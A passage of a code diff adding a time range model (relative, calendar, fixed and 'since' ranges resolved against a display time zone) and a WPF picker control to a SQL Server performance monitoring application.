+        string unit;
+        if (interval.Ticks % TimeSpan.TicksPerHour == 0)
+        {
+            count = (long)interval.TotalHours;
+            unit = "hour";
+        }
+        else if (interval.Ticks % TimeSpan.TicksPerMinute == 0)
+        {
+            count = (long)interval.TotalMinutes;
+            unit = "minute";
+        }
+        else
+        {
+            count = Math.Max(1, (long)Math.Round(interval.TotalSeconds));
+            unit = "second";
+        }
+
+        return count == 1 ? unit : count.ToString(CultureInfo.InvariantCulture) + " " + unit + "s";
+    }
+}
diff --git a/PerformanceMonitor.Ui/TimeRange/TimeRangeSpec.cs b/PerformanceMonitor.Ui/TimeRange/TimeRangeSpec.cs
new file mode 100644
index 0000000000..a918d9dc09
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRange/TimeRangeSpec.cs
@@ -0,0 +1,487 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>How a <see cref="TimeRangeSpec"/> names its range (#5562).</summary>
+public enum TimeRangeKind
+{
+    /// <summary>A length counted back from now: 45m, 4h, 10d. Real elapsed time, so a day is 24 hours across a daylight saving change.</summary>
+    Relative,
+
+    /// <summary>A calendar period in the display zone: Today, Previous Week, Year to Date. Wall-clock boundaries.</summary>
+    Calendar,
+
+    /// <summary>A start and an end instant, both fixed.</summary>
+    Fixed,
+
+    /// <summary>A fixed start and an end that slides with now ("since 10/1", "Oct 2 12pm to now").</summary>
+    Since
+}
+
+/// <summary>The calendar periods the picker offers (#5562). Weeks start on Monday.</summary>
+public enum CalendarPeriod
+{
+    /// <summary>From the last local midnight to now.</summary>
+    Today,
+
+    /// <summary>The whole local day before today.</summary>
+    Yesterday,
+
+    /// <summary>From Monday 00:00 to now.</summary>
+    WeekToDate,
+
+    /// <summary>The whole Monday-to-Sunday week before this one.</summary>
+    PreviousWeek,
+
+    /// <summary>From the first of this month to now.</summary>
+    MonthToDate,
+
+    /// <summary>The whole calendar month before this one.</summary>
+    PreviousMonth,
+
+    /// <summary>From January 1 to now.</summary>
+    YearToDate,
+
+    /// <summary>The whole calendar year before this one.</summary>
+    PreviousYear
+}
+
+/// <summary>Why a range was refused: a stable <see cref="Code"/> (the shared fixture compares it) and a plain <see cref="Message"/>.</summary>
+public sealed record TimeRangeError(string Code, string Message);
+
+/// <summary>
+/// A time range the way a person names it, not yet tied to a clock (#5562): "past 4 hours", "Previous Week",
+/// "Oct 1 to Oct 2". <see cref="TryResolve"/> turns it into the instants for a given now and display zone, so a
+/// live range slides and a calendar period follows the zone, while a fixed range keeps its instants. Pure: nothing
+/// here reads the machine's clock or zone. Every DateTime is naive UTC (Kind Unspecified), the frame the stores keep.
+///
+/// <para>Rules (settled, #5562): relative lengths are real elapsed time; calendar periods use the display zone's
+/// wall-clock boundaries, a boundary being the earliest instant labelled at or after the wall midnight, so
+/// consecutive periods tile with no gap or overlap; no typed or relative range is shorter than <see cref="MinimumSpan"/> (a calendar period is exempt: Today at 00:02 reads 00:00 to now); there is no
+/// upper cap here (a tab reads what its data holds).</para>
+/// </summary>
+public sealed class TimeRangeSpec : IEquatable<TimeRangeSpec>
+{
+    /// <summary>The shortest range there is, everywhere. A shorter one is refused, never widened.</summary>
+    public static readonly TimeSpan MinimumSpan = TimeSpan.FromMinutes(5);
+
+    /// <summary>The longest relative length the model resolves; past it a count is refused as a typing slip.</summary>
+    internal static readonly TimeSpan MaxRelative = TimeSpan.FromDays(36500);
+
+    private TimeRangeSpec(TimeRangeKind kind)
+    {
+        Kind = kind;
+    }
+
+    /// <summary>Which kind of range this is.</summary>
+    public TimeRangeKind Kind { get; }
+
+    /// <summary>The length, for <see cref="TimeRangeKind.Relative"/>.</summary>
+    public TimeSpan Span { get; private init; }
+
+    /// <summary>The period, for <see cref="TimeRangeKind.Calendar"/>.</summary>
+    public CalendarPeriod Period { get; private init; }
+
+    /// <summary>The start instant, for <see cref="TimeRangeKind.Fixed"/> and <see cref="TimeRangeKind.Since"/>.</summary>
+    public DateTime StartUtc { get; private init; }
+
+    /// <summary>The end instant, for <see cref="TimeRangeKind.Fixed"/>.</summary>
+    public DateTime EndUtc { get; private init; }
+
+    /// <summary>A length counted back from now.</summary>
+    public static TimeRangeSpec Relative(TimeSpan span)
+        => new(TimeRangeKind.Relative) { Span = span };
+
+    /// <summary>A calendar period in the display zone.</summary>
+    public static TimeRangeSpec ForPeriod(CalendarPeriod period)
+        => new(TimeRangeKind.Calendar) { Period = period };
+
+    /// <summary>A start and an end instant (naive UTC).</summary>
+    public static TimeRangeSpec FixedRange(DateTime startUtc, DateTime endUtc)
+        => new(TimeRangeKind.Fixed) { StartUtc = Naive(startUtc), EndUtc = Naive(endUtc) };
+
+    /// <summary>A fixed start with an end that is always now.</summary>
+    public static TimeRangeSpec SinceInstant(DateTime startUtc)
+        => new(TimeRangeKind.Since) { StartUtc = Naive(startUtc) };
+
+    /// <summary>
+    /// A stable text for settings and for telling two specs apart: "5m", "4h", "1d", "1w", "1mo", "today",
+    /// "previous-week", "fixed:2026-10-01T04:00:00Z/2026-10-02T04:00:00Z", "since:2026-10-01T04:00:00Z".
+    /// A relative length of exactly 7 days is "1w" and of exactly 30 days "1mo", whichever way it was typed.
+    /// </summary>
+    public string Id => Kind switch
+    {
+        TimeRangeKind.Relative => RelativeId(Span),
+        TimeRangeKind.Calendar => PeriodId(Period),
+        TimeRangeKind.Fixed => "fixed:" + IsoZ(StartUtc) + "/" + IsoZ(EndUtc),
+        _ => "since:" + IsoZ(StartUtc)
+    };
+
+    /// <summary>The whole hours of a relative range, or <c>null</c> when it is not a whole number of hours (or not relative). For readers that still take "hours back".</summary>
+    public int? WholeHours
+        => Kind == TimeRangeKind.Relative && Span.Ticks % TimeSpan.TicksPerHour == 0 && Span.TotalHours <= int.MaxValue
+            ? (int)Span.TotalHours
+            : null;
+
+    /// <summary>The name the picker lists: "Past 4 hours", "Previous Week"; a fixed or since range reads as a generic name.</summary>
+    public string Name => Kind switch
+    {
+        TimeRangeKind.Relative => "Past " + PastLength(Span),
+        TimeRangeKind.Calendar => PeriodName(Period),
+        TimeRangeKind.Fixed => "Custom range",
+        _ => "Since a start"
+    };
+
+    /// <summary>
+    /// The instants this range means at <paramref name="nowUtc"/> in <paramref name="zone"/>, or the reason it
+    /// cannot be used (shorter than <see cref="MinimumSpan"/> unless it is a calendar period, ends before it starts, reaches back too far).
+    /// </summary>
+    public bool TryResolve(DateTime nowUtc, TimeZoneInfo zone, out ResolvedTimeRange? range, out TimeRangeError? error)
+    {
+        var now = Naive(nowUtc);
+        range = null;
+        error = null;
+        DateTime start;
+        DateTime end;
+        bool live;
+
+        switch (Kind)
+        {
+            case TimeRangeKind.Relative:
+                if (Span <= TimeSpan.Zero)
+                {
+                    error = new TimeRangeError("too_short", ShortMessage(TimeSpan.Zero));
+                    return false;
+                }
+
+                if (Span > MaxRelative)
+                {
+                    error = new TimeRangeError("too_far_back", "That reaches back more than 100 years.");
+                    return false;
+                }
+
+                start = now - Span;
+                end = now;
+                live = true;
+                break;
+
+            case TimeRangeKind.Calendar:
+                (start, end, live) = ResolvePeriod(Period, now, zone);
+                break;
+
+            case TimeRangeKind.Since:
+                start = StartUtc;
+                end = now;
+                live = true;
+                break;
+
+            default:
+                start = StartUtc;
+                end = EndUtc;
+                live = false;
+                break;
+        }
+
+        if (end < start)
+        {
+            error = Kind == TimeRangeKind.Since
+                ? new TimeRangeError("start_in_future", "That start has not happened yet.")
+                : new TimeRangeError("end_before_start", "The end is before the start.");
+            return false;
+        }
+
+        /* A fixed range that starts in the future is refused (#5562 review r2 M1), in the same words as the web module: nothing has been
+           collected for a window that has not begun, and a host that read it would show an empty chart under a future label. */
+        if (Kind == TimeRangeKind.Fixed && start > now)
+        {
+            error = new TimeRangeError("range_not_started", "That range has not started yet.");
+            return false;
+        }
+
+        /* A calendar period is exempt from the floor (#5562, seat ruling): "Today" at 00:02 reads 00:00 to now and the "collected
+           every N min" note explains a sparse chart; no other range is ever substituted. The floor applies to typed spans and
+           custom start/end only. A period that has not started (zero length) is still refused. */
+        if (Kind == TimeRangeKind.Calendar && end <= start)
+        {
+            /* Zero length: say that the period has not begun, not that 5 minutes is the floor (the web words it the same way). */
+            error = new TimeRangeError("too_short", Name + " has only just started. Pick another range.");
+            return false;
+        }
+
+        if (Kind != TimeRangeKind.Calendar && end - start < MinimumSpan)
+        {
+            error = new TimeRangeError("too_short", ShortMessage(end - start));
+            return false;
+        }
+
+        range = new ResolvedTimeRange(this, start, end, live, zone, now);
+        return true;
+    }
+
+    /// <summary>Reads back an <see cref="Id"/>: a preset id, a count and unit ("90m", "3d", "2w", "2mo"), "fixed:..." or "since:...". <c>false</c> for anything else.</summary>
+    public static bool TryFromId(string? id, out TimeRangeSpec? spec)
+    {
+        spec = null;
+        if (string.IsNullOrWhiteSpace(id))
+        {
+            return false;
+        }
+
+        var text = id.Trim().ToLowerInvariant();
+        foreach (CalendarPeriod period in Enum.GetValues<CalendarPeriod>())
+        {
+            if (PeriodId(period) == text)
+            {
+                spec = ForPeriod(period);
+                return true;
+            }
+        }
+
+        if (text.StartsWith("since:", StringComparison.Ordinal))
+        {
+            if (TryIso(text.Substring(6), out var since))
+            {
+                spec = SinceInstant(since);
+                return true;
+            }
+
+            return false;
+        }
+
+        if (text.StartsWith("fixed:", StringComparison.Ordinal))
+        {
+            var parts = text.Substring(6).Split('/');
+            if (parts.Length == 2 && TryIso(parts[0], out var a) && TryIso(parts[1], out var b))
+            {
+                spec = FixedRange(a, b);
+                return true;
+            }
+
+            return false;
+        }
+
+        var unitAt = 0;
+        while (unitAt < text.Length && char.IsAsciiDigit(text[unitAt]))
+        {
+            unitAt++;
+        }
+
+        if (unitAt == 0 || unitAt == text.Length || !long.TryParse(text.AsSpan(0, unitAt), NumberStyles.None, CultureInfo.InvariantCulture, out var count) || count <= 0 || count > 1_000_000)
+        {
+            return false;
+        }
+
+        var unit = text.Substring(unitAt);
+        double minutesPerUnit;
+        switch (unit)
+        {
+            case "m": minutesPerUnit = 1d; break;
+            case "h": minutesPerUnit = 60d; break;
+            case "d": minutesPerUnit = 1440d; break;
+            case "w": minutesPerUnit = 7d * 1440d; break;
+            case "mo": minutesPerUnit = 30d * 1440d; break;
+            default: return false;
+        }
+
+        // #5562 review: a hand-edited settings value like "400000mo" overflowed TimeSpan and threw at startup. A span past the parser's
+        // own limit is not a saved id, so the caller falls back to its default instead of throwing.
+        if (count * minutesPerUnit > MaxRelative.TotalMinutes)
+        {
+            return false;
+        }
+
+        var span = TimeSpan.FromMinutes(count * minutesPerUnit);
+        spec = Relative(span);
+        return true;
+    }
+
+    /// <summary>The length of a span as the picker words it: "3d" for three days and some hours, "7h 1m" under a day, "45m". Floors; a day or more drops the hours.</summary>
+    public static string FormatLength(TimeSpan span)
+    {
+        if (span < TimeSpan.Zero)
+        {
+            span = TimeSpan.Zero;
+        }
+
+        var totalMinutes = (long)Math.Floor(span.TotalMinutes);
+        if (totalMinutes >= 1440)
+        {
+            return (totalMinutes / 1440).ToString(CultureInfo.InvariantCulture) + "d";
+        }
+
+        var hours = totalMinutes / 60;
+        var minutes = totalMinutes % 60;
+        if (hours == 0)
+        {
+            return minutes.ToString(CultureInfo.InvariantCulture) + "m";
+        }
+
+        return minutes == 0
+            ? hours.ToString(CultureInfo.InvariantCulture) + "h"
+            : hours.ToString(CultureInfo.InvariantCulture) + "h " + minutes.ToString(CultureInfo.InvariantCulture) + "m";
+    }
+
+    /// <summary>The refusal text for a range shorter than the minimum.</summary>
+    internal static string ShortMessage(TimeSpan actual)
+        => actual <= TimeSpan.Zero
+            ? "The shortest range is 5 minutes."
+            : "That range is only " + FormatLength(actual) + " long. The shortest range is 5 minutes.";
+
+    internal static DateTime Naive(DateTime value)
+        => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    internal static string IsoZ(DateTime naiveUtc)
+        => naiveUtc.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture);
+
+    private static bool TryIso(string text, out DateTime naiveUtc)
+    {
+        if (DateTime.TryParseExact(text.ToUpperInvariant(), "yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture, DateTimeStyles.None, out var parsed))
+        {
+            naiveUtc = Naive(parsed);
+            return true;
+        }
+
+        naiveUtc = default;
+        return false;
+    }
+
+    private static string RelativeId(TimeSpan span)
+    {
+        if (span == TimeSpan.FromDays(7))
+        {
+            return "1w";
+        }
+
+        if (span == TimeSpan.FromDays(30))
+        {
+            return "1mo";
+        }
+
+        if (span.Ticks % TimeSpan.TicksPerDay == 0)
+        {
+            return ((long)span.TotalDays).ToString(CultureInfo.InvariantCulture) + "d";
+        }
+
+        if (span.Ticks % TimeSpan.TicksPerHour == 0)
+        {
+            return ((long)span.TotalHours).ToString(CultureInfo.InvariantCulture) + "h";
+        }
+
+        return ((long)Math.Round(span.TotalMinutes)).ToString(CultureInfo.InvariantCulture) + "m";
+    }
+
+    private static string PastLength(TimeSpan span)
+    {
+        if (span == TimeSpan.FromDays(7))
+        {
+            return "week";
+        }
+
+        if (span == TimeSpan.FromDays(30))
+        {
+            return "30 days";
+        }
+
+        long count;
+        string unit;
+        if (span.Ticks % TimeSpan.TicksPerDay == 0)
+        {
+            count = (long)span.TotalDays;
+            unit = "day";
+        }
+        else if (span.Ticks % TimeSpan.TicksPerHour == 0)
+        {
+            count = (long)span.TotalHours;
+            unit = "hour";
+        }
+        else
+        {
+            count = (long)Math.Round(span.TotalMinutes);
+            unit = "minute";
+        }
+
+        return count == 1 ? unit : count.ToString(CultureInfo.InvariantCulture) + " " + unit + "s";
+    }
+
+    internal static string PeriodId(CalendarPeriod period) => period switch
+    {
+        CalendarPeriod.Today => "today",
+        CalendarPeriod.Yesterday => "yesterday",
+        CalendarPeriod.WeekToDate => "week-to-date",
+        CalendarPeriod.PreviousWeek => "previous-week",
+        CalendarPeriod.MonthToDate => "month-to-date",
+        CalendarPeriod.PreviousMonth => "previous-month",
+        CalendarPeriod.YearToDate => "year-to-date",
+        _ => "previous-year"
+    };
+
+    internal static string PeriodName(CalendarPeriod period) => period switch
+    {
+        CalendarPeriod.Today => "Today",
+        CalendarPeriod.Yesterday => "Yesterday",
+        CalendarPeriod.WeekToDate => "Week to Date",
+        CalendarPeriod.PreviousWeek => "Previous Week",
+        CalendarPeriod.MonthToDate => "Month to Date",
+        CalendarPeriod.PreviousMonth => "Previous Month",
+        CalendarPeriod.YearToDate => "Year to Date",
+        _ => "Previous Year"
+    };
+
+    /// <summary>
+    /// The instants of a calendar period. A boundary is the earliest instant labelled at or after the wall midnight
+    /// (<see cref="BoundSide.From"/>), so the end of one period is exactly the start of the next. The to-date
+    /// periods and Today end at now and are live; the previous periods end at the next boundary and are not.
+    /// </summary>
+    private static (DateTime Start, DateTime End, bool Live) ResolvePeriod(CalendarPeriod period, DateTime now, TimeZoneInfo zone)
+    {
+        var today = DisplayZone.ToDisplay(now, zone).Date;
+        var monday = today.AddDays(-(((int)today.DayOfWeek + 6) % 7));
+        var firstOfMonth = new DateTime(today.Year, today.Month, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        var firstOfYear = new DateTime(today.Year, 1, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+        switch (period)
+        {
+            case CalendarPeriod.Today:
+                return (Boundary(today, zone), now, true);
+            case CalendarPeriod.Yesterday:
+                return (Boundary(today.AddDays(-1), zone), Boundary(today, zone), false);
+            case CalendarPeriod.WeekToDate:
+                return (Boundary(monday, zone), now, true);
+            case CalendarPeriod.PreviousWeek:
+                return (Boundary(monday.AddDays(-7), zone), Boundary(monday, zone), false);
+            case CalendarPeriod.MonthToDate:
+                return (Boundary(firstOfMonth, zone), now, true);
+            case CalendarPeriod.PreviousMonth:
+                return (Boundary(firstOfMonth.AddMonths(-1), zone), Boundary(firstOfMonth, zone), false);
+            case CalendarPeriod.YearToDate:
+                return (Boundary(firstOfYear, zone), now, true);
+            default:
+                return (Boundary(firstOfYear.AddYears(-1), zone), Boundary(firstOfYear, zone), false);
+        }
+    }
+
+    private static DateTime Boundary(DateTime wallMidnight, TimeZoneInfo zone)
+        => DisplayZone.ToUtcBound(wallMidnight, zone, BoundSide.From);
+
+    /// <inheritdoc/>
+    public bool Equals(TimeRangeSpec? other)
+        => other is not null && string.Equals(Id, other.Id, StringComparison.Ordinal);
+
+    /// <inheritdoc/>
+    public override bool Equals(object? obj) => Equals(obj as TimeRangeSpec);
+
+    /// <inheritdoc/>
+    public override int GetHashCode() => StringComparer.Ordinal.GetHashCode(Id);
+
+    /// <inheritdoc/>
+    public override string ToString() => Id;
+}
diff --git a/PerformanceMonitor.Ui/TimeRangePicker.xaml b/PerformanceMonitor.Ui/TimeRangePicker.xaml
new file mode 100644
index 0000000000..82ef99a148
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRangePicker.xaml
@@ -0,0 +1,109 @@
+<UserControl x:Class="PerformanceMonitor.Ui.TimeRangePicker"
+             xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
+             xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+             x:Name="Root"
+             Focusable="False">
+    <!--
+      Shared time range picker (#5562): a button naming the range, the resolved start, end and zone beside it, and a
+      popup with the short presets, the calendar periods, a text box that previews what it parsed before Apply, and a
+      calendar for picking a range. Themed through the shared brush keys (Background, Foreground, Border, Accent...)
+      that both apps' Dark, Light and Cool Breeze dictionaries define, so it follows the theme with no code.
+    -->
+    <StackPanel Orientation="Horizontal" VerticalAlignment="Center">
+        <Button x:Name="PickerButton"
+                Click="PickerButton_Click"
+                Padding="10,4"
+                MinHeight="26"
+                HorizontalContentAlignment="Left"
+                AutomationProperties.Name="Time range">
+            <StackPanel Orientation="Horizontal">
+                <TextBlock x:Name="ButtonText" VerticalAlignment="Center"/>
+                <TextBlock Text="&#x25BE;" Margin="8,0,0,0" VerticalAlignment="Center"
+                           Foreground="{DynamicResource ForegroundDimBrush}"/>
+            </StackPanel>
+        </Button>
+
+        <StackPanel x:Name="DetailPanel" Margin="10,0,0,0" VerticalAlignment="Center">
+            <TextBlock x:Name="ResolvedText"
+                       Foreground="{DynamicResource ForegroundDimBrush}"
+                       VerticalAlignment="Center"
+                       AutomationProperties.Name="Resolved time range"/>
+            <TextBlock x:Name="NoteText"
+                       Foreground="{DynamicResource WarningTextBrush}"
+                       FontSize="11"
+                       Visibility="Collapsed"
+                       TextWrapping="Wrap"
+                       MaxWidth="460"/>
+        </StackPanel>
+
+        <Popup x:Name="PickerPopup"
+               PlacementTarget="{Binding ElementName=PickerButton}"
+               Placement="Bottom"
+               StaysOpen="False"
+               AllowsTransparency="True"
+               PopupAnimation="Fade"
+               Opened="PickerPopup_Opened"
+               Closed="PickerPopup_Closed">
+            <Border Background="{DynamicResource BackgroundBrush}"
+                    BorderBrush="{DynamicResource BorderBrush}"
+                    BorderThickness="1"
+                    CornerRadius="6"
+                    Padding="10"
+                    Margin="0,2,8,8"
+                    PreviewKeyDown="PopupRoot_PreviewKeyDown"
+                    TextElement.Foreground="{DynamicResource ForegroundBrush}"
+                    TextElement.FontFamily="Segoe UI">
+                <Border.Effect>
+                    <DropShadowEffect BlurRadius="10" ShadowDepth="2" Opacity="0.35"/>
+                </Border.Effect>
+                <Grid>
+                    <Grid.ColumnDefinitions>
+                        <ColumnDefinition Width="Auto"/>
+                        <ColumnDefinition Width="12"/>
+                        <ColumnDefinition Width="Auto"/>
+                    </Grid.ColumnDefinitions>
+
+                    <!-- Left: the presets. -->
+                    <StackPanel Grid.Column="0" Width="196">
+                        <TextBlock Text="Past" FontWeight="SemiBold" Margin="0,0,0,4"
+                                   Foreground="{DynamicResource ForegroundDimBrush}"/>
+                        <WrapPanel x:Name="RollingPanel"/>
+                        <TextBlock x:Name="CalendarHeader" Text="Calendar" FontWeight="SemiBold" Margin="0,10,0,4"
+                                   Foreground="{DynamicResource ForegroundDimBrush}"/>
+                        <StackPanel x:Name="PeriodPanel"/>
+                    </StackPanel>
+
+                    <!-- Right: type a range, see what it parsed, or pick days on the calendar. -->
+                    <StackPanel Grid.Column="2" Width="300">
+                        <TextBlock Text="Type a range" FontWeight="SemiBold" Margin="0,0,0,4"
+                                   Foreground="{DynamicResource ForegroundDimBrush}"/>
+                        <TextBox x:Name="InputBox"
+                                 Padding="6,4"
+                                 TextChanged="InputBox_TextChanged"
+                                 KeyDown="InputBox_KeyDown"
+                                 AutomationProperties.Name="Type a time range"
+                                 ToolTip="45m, 3 days, last month, Oct 1 - Oct 2, 1:00 am - 7:00 am, since 10/1, 1790852543 - 1791457343"/>
+                        <TextBlock x:Name="EchoText"
+                                   Margin="0,6,0,0"
+                                   MinHeight="34"
+                                   TextWrapping="Wrap"
+                                   Foreground="{DynamicResource ForegroundDimBrush}"/>
+                        <Calendar x:Name="PickCalendar"
+                                  Margin="0,6,0,0"
+                                  HorizontalAlignment="Left"
+                                  SelectionMode="SingleRange"
+                                  FirstDayOfWeek="Monday"
+                                  SelectedDatesChanged="PickCalendar_SelectedDatesChanged"
+                                  AutomationProperties.Name="Pick days on a calendar"/>
+                        <StackPanel Orientation="Horizontal" HorizontalAlignment="Right" Margin="0,8,0,0">
+                            <Button x:Name="CancelButton" Content="Cancel" Padding="12,4" Margin="0,0,6,0" Click="CancelButton_Click"/>
+                            <Button x:Name="ApplyButton" Content="Apply" Padding="14,4" IsEnabled="False" Click="ApplyButton_Click"
+                                    Background="{DynamicResource AccentBrush}"
+                                    Foreground="{DynamicResource AccentForegroundBrush}"/>
+                        </StackPanel>
+                    </StackPanel>
+                </Grid>
+            </Border>
+        </Popup>
+    </StackPanel>
+</UserControl>
diff --git a/PerformanceMonitor.Ui/TimeRangePicker.xaml.cs b/PerformanceMonitor.Ui/TimeRangePicker.xaml.cs
new file mode 100644
index 0000000000..bc247cc55b
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRangePicker.xaml.cs
@@ -0,0 +1,609 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Controls;
+using System.Windows.Controls.Primitives;
+using System.Windows.Input;
+using System.Windows.Media;
+using System.Windows.Threading;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>Raised when the user picks a range (<see cref="TimeRangePicker.RangeChanged"/>).</summary>
+public sealed class TimeRangeChangedEventArgs : EventArgs
+{
+    /// <summary>Wraps the new range.</summary>
+    public TimeRangeChangedEventArgs(TimeRangeSpec spec, ResolvedTimeRange range)
+    {
+        Spec = spec;
+        Range = range;
+    }
+
+    /// <summary>The range as named; hold this to keep it live, or persist its <see cref="TimeRangeSpec.Id"/>.</summary>
+    public TimeRangeSpec Spec { get; }
+
+    /// <summary>The range at the moment it was picked.</summary>
+    public ResolvedTimeRange Range { get; }
+}
+
+/// <summary>
+/// The shared time range picker (#5562) for Lite and the Darling Viewer: a button naming the range, the resolved
+/// start, end and zone beside it, and a popup with the short presets, the calendar periods (each with its current
+/// length), a text box that shows what it parsed before Apply (or why it failed), and a calendar for picking days.
+/// A tab sets <see cref="ZoneProvider"/> to its display zone and handles <see cref="RangeChanged"/>; on every
+/// refresh it calls <see cref="Resolve"/> for the window to read, so a live range keeps sliding.
+///
+/// <para>Themed through the shared brush keys (BackgroundBrush, ForegroundBrush, BorderBrush, AccentBrush...) that both
+/// apps' dictionaries define. Enter applies the typed range, Esc closes the popup. UI thread only.</para>
+/// </summary>
+public partial class TimeRangePicker : UserControl
+{
+    private static readonly TimeSpan ReopenGuard = TimeSpan.FromMilliseconds(250);
+
+    private readonly List<(Button Button, TimeRangeSpec Spec)> _rollingButtons = new();
+    private readonly List<(Button Button, TimeRangeSpec Spec, TextBlock Length)> _periodButtons = new();
+    private TimeRangeSpec _value = TimeRangePresets.Rolling[4];
+    private DateTime? _dataStartUtc;
+    private TimeSpan? _sampleInterval;
+    private bool _compact;
+    private TimeSpan? _rollingUnit;
+    private Button? _longestButton;
+    private long _closedAtTick;
+    private TimeRangeParseResult? _typed;
+    private Func<TimeZoneInfo>? _zoneProvider;
+    private Func<DateTime>? _nowProvider;
+
+    /// <summary>Builds the picker with the default range (4h).</summary>
+    public TimeRangePicker()
+    {
+        InitializeComponent();
+        BuildPresetButtons();
+        PickCalendar.GotMouseCapture += (_, e) =>
+        {
+            /* A Calendar in a popup keeps the mouse captured after a day click and swallows the next click. */
+            if (e.OriginalSource is CalendarItem or CalendarDayButton or CalendarButton)
+            {
+                ((UIElement)e.OriginalSource).ReleaseMouseCapture();
+            }
+        };
+        Refresh();
+    }
+
+    /// <summary>Raised when the user picks a range by preset, period, typed text or calendar. Not raised by <see cref="Value"/>.</summary>
+    public event EventHandler<TimeRangeChangedEventArgs>? RangeChanged;
+
+    /// <summary>The display zone for typed times, calendar periods and the shown text; the tab's own zone. Default is this machine's zone.</summary>
+    public Func<TimeZoneInfo>? ZoneProvider
+    {
+        get => _zoneProvider;
+        set
+        {
+            _zoneProvider = value;
+            Refresh();
+        }
+    }
+
+    /// <summary>The clock as naive UTC; default is the machine clock. Tests set it.</summary>
+    public Func<DateTime>? NowProvider
+    {
+        get => _nowProvider;
+        set
+        {
+            _nowProvider = value;
+            Refresh();
+        }
+    }
+
+    /// <summary>The zone in force now.</summary>
+    public TimeZoneInfo Zone => ZoneProvider?.Invoke() ?? TimeZoneInfo.Local;
+
+    /// <summary>The range held. Setting it re-renders the picker and does not raise <see cref="RangeChanged"/>.</summary>
+    public TimeRangeSpec Value
+    {
+        get => _value;
+        set
+        {
+            _value = value ?? TimeRangePresets.Rolling[4];
+            Refresh();
+        }
+    }
+
+    /// <summary>
+    /// Where the tab's stored data starts, if known (naive UTC). When the range starts more than 90 minutes earlier
+    /// the picker adds "Data starts Oct 3, 2:00 pm" beside the resolved range.
+    /// </summary>
+    public DateTime? DataStartUtc
+    {
+        get => _dataStartUtc;
+        set
+        {
+            _dataStartUtc = value;
+            Refresh();
+        }
+    }
+
+    /// <summary>
+    /// How often the tab's main collector samples (its actual interval). When the range holds fewer than 3 samples
+    /// the picker adds "Data here is collected every N minutes." so a short or empty chart has a reason. Null for none.
+    /// </summary>
+    public TimeSpan? SampleInterval
+    {
+        get => _sampleInterval;
+        set
+        {
+            _sampleInterval = value;
+            Refresh();
+        }
+    }
+
+    /// <summary>True for a one-button form (FinOps): the resolved range and notes move to the button's tooltip.</summary>
+    public bool Compact
+    {
+        get => _compact;
+        set
+        {
+            _compact = value;
+            PickerButton.Padding = value ? new Thickness(8, 2, 8, 2) : new Thickness(10, 4, 10, 4);
+            PickerButton.MinHeight = value ? 22 : 26;
+            Refresh();
+        }
+    }
+
+    /// <summary>
+    /// Makes the picker rolling-only, in whole units of this length (#5562 R5): one hour for a FinOps list, one day for the
+    /// object heatmap. These reads take "N units back from now", so the picker offers no calendar period, no custom end and no
+    /// "since" range, no preset or typed length under one unit, and no length that is not a whole number of units
+    /// (<see cref="RollingUnitRule"/>). Null (the default) offers everything.
+    /// </summary>
+    public TimeSpan? RollingUnit
+    {
+        get => _rollingUnit;
+        set
+        {
+            if (value is { } unit && unit <= TimeSpan.Zero)
+            {
+                throw new ArgumentOutOfRangeException(nameof(value), "A rolling unit is positive.");
+            }
+
+            _rollingUnit = value;
+            var calendar = value is null ? Visibility.Visible : Visibility.Collapsed;
+            CalendarHeader.Visibility = calendar;
+            PeriodPanel.Visibility = calendar;
+            PickCalendar.Visibility = calendar;
+            UpdateRollingButtons();
+            Refresh();
+        }
+    }
+
+    /// <summary>
+    /// Adds one more rolling choice after the presets, for a surface whose data has a natural longest span (#5562 R8): Alert
+    /// History's "All" is the span its table keeps. Pass <c>null</c> to remove it. A rolling-only picker still refuses it when its
+    /// unit does not fit (<see cref="RollingUnit"/>).
+    /// </summary>
+    /// <param name="spec">The span the choice selects.</param>
+    /// <param name="label">The button text, such as "All".</param>
+    public void SetLongestChoice(TimeRangeSpec? spec, string label = "All")
+    {
+        if (_longestButton is not null)
+        {
+            RollingPanel.Children.Remove(_longestButton);
+            _rollingButtons.RemoveAll(entry => ReferenceEquals(entry.Button, _longestButton));
+            _longestButton = null;
+        }
+
+        if (spec is not null)
+        {
+            var button = new Button
+            {
+                Content = label,
+                MinWidth = 40,
+                Padding = new Thickness(6, 3, 6, 3),
+                Margin = new Thickness(0, 0, 4, 4),
+                Tag = spec
+            };
+            AutomationProperties.SetName(button, label + " (" + spec.Name + ")");
+            button.Click += Preset_Click;
+            RollingPanel.Children.Add(button);
+            _rollingButtons.Add((button, spec));
+            _longestButton = button;
+        }
+
+        UpdateRollingButtons();
+        Refresh();
+    }
+
+    /// <summary>Why this picker cannot take <paramref name="spec"/> (rolling-only form), or <c>null</c> when it can.</summary>
+    public string? Refusal(TimeRangeSpec spec)
+    {
+        if (_rollingUnit is not { } unit)
+        {
+            return null;
+        }
+
+        return RollingUnitRule.Refusal(spec, unit);
+    }
+
+    /// <summary>True while the popup is open.</summary>
+    public bool IsPopupOpen => PickerPopup.IsOpen;
+
+    /// <summary>The held range at this moment, or <c>null</c> when it cannot be used right now (Today in its first minutes).</summary>
+    public ResolvedTimeRange? Resolve()
+        => _value.TryResolve(NowUtc, Zone, out var range, out _) ? range : null;
+
